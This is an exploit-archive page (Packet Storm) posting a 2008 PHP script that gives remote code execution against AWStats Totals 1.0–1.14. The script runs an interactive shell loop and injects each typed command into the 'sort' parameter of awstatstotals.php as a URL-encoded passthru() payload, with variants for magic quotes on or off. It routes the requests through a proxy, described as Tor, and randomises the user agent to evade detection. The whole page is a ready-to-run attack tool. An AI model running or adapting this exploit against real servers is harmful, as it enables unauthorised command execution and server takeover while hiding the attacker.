what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

awstats-exec2.txt

awstats-exec2.txt
Posted Sep 5, 2008
Authored by Ricardo Almeida

Remote code execution exploit with an interactive shell for AWStats Totals versions 1.0 through 1.14. Version 2 of this exploit. It now works with magic quotes on or off.

tags | exploit, remote, shell, code execution
SHA-256 | 3b52ceea44ad2a0fec9d4072836d6515accffb82e2d47a1bc2e4dfad4eabc746

awstats-exec2.txt

Change Mirror Download
<?php
/*
* Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell) Version 2
*
* Updated 05/09/08: The exploit now works with magic quotes on or off
*
* Author: Ricardo Almeida
* email: ricardojba[at]aeiou[DoT]pt
*
* Greetz
* The hacker webzine authored by Ronald van den Heetkamp for his code
*
* Credits: Vulnerabilities reported by Emory University.
* http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt
*
*/

function wrap($url){
$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
$agent = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
# tor or other proxy
$tor = '172.20.1.15:8080';
$timeout = '300';
$ack = curl_init();
curl_setopt ($ack, CURLOPT_PROXY, $tor);
curl_setopt ($ack, CURLOPT_URL, $url);
curl_setopt ($ack, CURLOPT_HEADER, 1);
curl_setopt ($ack, CURLOPT_USERAGENT, $agent);
curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
$syn = curl_exec($ack);
$info = curl_getinfo($ack);
curl_close($ack);

if($info['http_code'] == '200') {
return $syn;
die();
} else {
return "Fail! :".$info['http_code']."\r\n";
}
}

if ($argc != 3) {die("Usage: awtotalhack.php <host> <magic_quotes on or off>\nEx: awtotalhack.php host.tld on\n");}
array_shift($argv);
$host = $argv[0];
$magic = $argv[1];

# Start the interactive shell
while(1){
fwrite(STDOUT, "[shell:~ # ");
if ($magic == "on") {
$c = str_split(trim(fgets(STDIN)));
if (implode($c) == "exit") {die();};
for($i=0;$i<count($c);$i++) {$c[$i] = "chr(".ord($c[$i]).")";}
$cmd = implode("%2e", $c);
$attackurl = "http://".$host."/"."awstatstotals.php?sort=%7b%24%7bpassthru%28".$cmd."%29%7d%7d%7b%24%7bexit%28%29%7d%7d";
echo wrap($attackurl);
} else if ($magic == "off") {
$cmd = preg_replace('/ /','%20',trim(fgets(STDIN)));
if ($cmd == "exit") {die();};
$attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22";
echo wrap($attackurl);
}
}
?>




Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close